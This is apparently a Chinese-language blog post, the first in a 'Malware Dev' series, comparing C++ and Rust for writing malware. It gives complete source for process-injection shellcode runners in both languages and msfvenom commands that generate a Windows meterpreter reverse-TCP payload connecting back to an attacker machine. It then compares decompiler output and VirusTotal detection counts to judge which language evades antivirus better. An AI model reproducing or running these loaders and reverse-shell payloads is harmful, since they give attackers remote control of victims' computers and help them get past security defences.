Malware Dev 00 - Rust vs C++ 初探

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背景

最近看到挺多关于 Rust 武器化的文章。就着这篇最近发布的，想着动手实验一下，看下 Rust 是否在 Malware 编写方面会比 C/C++ 更有优势。

本文将分别使用 C++ 和 Rust 分别编译进程注入的 shellcode runner。然后到 Dogbolt 反编译两个 PE 文件，看一下反编译的结果。最后，我们看一下 VirusTotal 对于两个文件的检测，对比一下目前为止哪个语言的免杀效果相对优秀（由于是 shellcode runner 实属裸奔，没用任何绕过技巧，被查杀是肯定的）。

为什么选择 Rust

这里是 Rust 语言的一些特性。

1. Rust 速度快，跟 C/C++ 不相上下；
2. Rust 拥有优秀的依赖解决方案，cargo；
3. Rust 基于 LLVM，内部的复杂性有利于其躲避防御机制的检测；
4. Rust 拥有活跃的社区支持，因此，各种问题基本都能得到解决；
5. Rust 跨平台；

正是因为这些特性，Rust 被武器化，在网络安全进攻端，展现出了一定的实力。

测试环境

Windows

shellcode runner 的编译和执行在一台 Win10 x64 机器上进行。

C++ 编译使用 Visual Studio 2022。

Rust 使用官网最新版本 cargo。

Linux

另一台 Kali Linux 机器，作 shellcode 生成和 shell 接收。

Rust vs C++

进入正题，分别使用 C++ 和 Rust 编译两个 PE 文件。保证两个文件都能成功拿到目标的 shell。为后续反编译查找 WinAPI 调用痕迹做个铺垫。

C++ Process Injection Shellcode Runner

创建一个 C++ 工程。

生成一份 shellcode。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f c

复制 shellcode 到代码。

代码常规套路，四步走，分配内存，拷贝 shellcode，设置内存可执行，创建线程并执行。

#include <windows.h>int main(void) {LPVOID lpAddress;HANDLE tHandle;DWORD oldProtect = 0;unsigned char payload[] = {  shellcode_here	};SIZE_T payload_size = sizeof(payload);lpAddress = VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);RtlMoveMemory(lpAddress, payload, payload_size);if (VirtualProtect(lpAddress, payload_size, PAGE_EXECUTE_READ, &oldProtect)){tHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpAddress, 0, 0, 0);WaitForSingleObject(tHandle, (DWORD)-1);}return 0;
}

注意这里要使用 Release 编译。

编译之后执行。

Kali 拿到 shell。

接下来编译一个 Rust 版本的，代码逻辑一致。

Rust Process Injection Shellcode Runner

Rust 需安装。官网下载安装包 安装即可。

第一次接触 Rust，给出一下编译步骤。

首先在当前文件夹下创建一个 Rust 工程。

cargo new shell_rust

接着生成一段 shellcode。用 csharp 格式的就行。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f csharp

然后进入工程中的 src 文件夹，编辑 main.rs 文件，使用如下代码，使用生成的 shellcode。

use winapi::um::winnt::{PVOID,MEM_COMMIT,MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
use std::ptr;
use winapi::um::errhandlingapi;
use winapi::um::processthreadsapi;
use winapi::um::winbase;
use winapi::um::synchapi::WaitForSingleObject;
use std::process;type DWORD = u32;//Thanks to @trickster0 for sharing this code https://github.com/trickster0/OffensiveRustfn main(){create_thread()
}fn create_thread() {let payload: [u8;shellcode_length_here] = [ shellcode_here ];// allocate base addr as RWunsafe{let base_addr = kernel32::VirtualAlloc(ptr::null_mut(),payload.len().try_into().unwrap(),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);if base_addr.is_null() { println!("[-] Couldn't allocate memory to current proc.")}std::ptr::copy(payload.as_ptr() as  _, base_addr, payload.len());let mut old_protect: DWORD = PAGE_READWRITE;let mem_protect = kernel32::VirtualProtect (base_addr,payload.len() as u64,PAGE_EXECUTE_READ,&mut old_protect);if mem_protect == 0 {let error = errhandlingapi::GetLastError();println!("[-] Error: {}", error.to_string());process::exit(0x0100);}let mut tid = 0;let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) };let h_thread = processthreadsapi::CreateThread(ptr::null_mut(),0,Some(ep),ptr::null_mut(),0,&mut tid);if h_thread.is_null() {let error = errhandlingapi::GetLastError();println!("{}", error.to_string())}let status = WaitForSingleObject(h_thread, winbase::INFINITE);if status != 0 {let error = errhandlingapi::GetLastError();println!("{}", error.to_string())}}
}

添加依赖。

cargo add winapi kernel32-sys

查看 Cargo.toml 文件如下。

不过此时编译还是会报错。

还得增加 winapi 下的 features 才能正常编译。

再次编译 Release 版本。

cargo build --release

编译成功。

在 shell_rust/target/release 文件夹下找到 exe 文件。

运行。

Kali 拿到 shell。

至此，两个 shellcode runner 编译完成。

反编译比较

将两个文件都丢到 Dogbolt 上用多个反编译器进行反编译。

C++ Decompile

C++ 经过反编译得到了至多 1453 行代码（Ghidra）。

并且每一个反编译器都准确反编译出了四个重点查杀的 WinAPI。

VirtualAlloc

VirtualProtect

CreateThread

WaitForSingleObject

接下来看下 Rust 的表现。

Rust Decompile

但从编译时间的角度来看，有两个反编译器都显示反编译超时。BinaryNinja 和 Hex-Rays 反编译出了 20K+ 行代码。

再查找一下敏感 API，还是可以被找到。这里与原文有些不符。原文指出，只有在 Binary-Ninja 反编译之后才能看到敏感 API 的调用。

VT 查杀结果

Rust 结果 18/62。

C++ 结果 28/62。

总结

目前为止，裸奔 Rust Payload 比 C++ 表现优异那么一些。在实践过程中发生的与原文的偏差。我认为可能是我编译 Rust 的过程有问题。原文作者没有指出编译细节。这个还需要继续深入挖掘一下。

参考链接

• https://steve-s.gitbook.io/0xtriboulet/ttps/ttps-rust-vs-c++
• https://doc.rust-lang.org/book/ch01-03-hello-cargo.html
• https://github.com/trickster0/OffensiveRust
• https://doc.rust-lang.org/cargo/guide/dependencies.html
• https://doc.rust-lang.org/cargo/reference/profiles.html#opt-level
• https://doc.rust-lang.org/cargo/reference/config.html#buildrustc
• https://www.secureideas.com/blog/how-to-obfuscate-strings-in-rust-the-easy-way-using-the-litcrypt-crate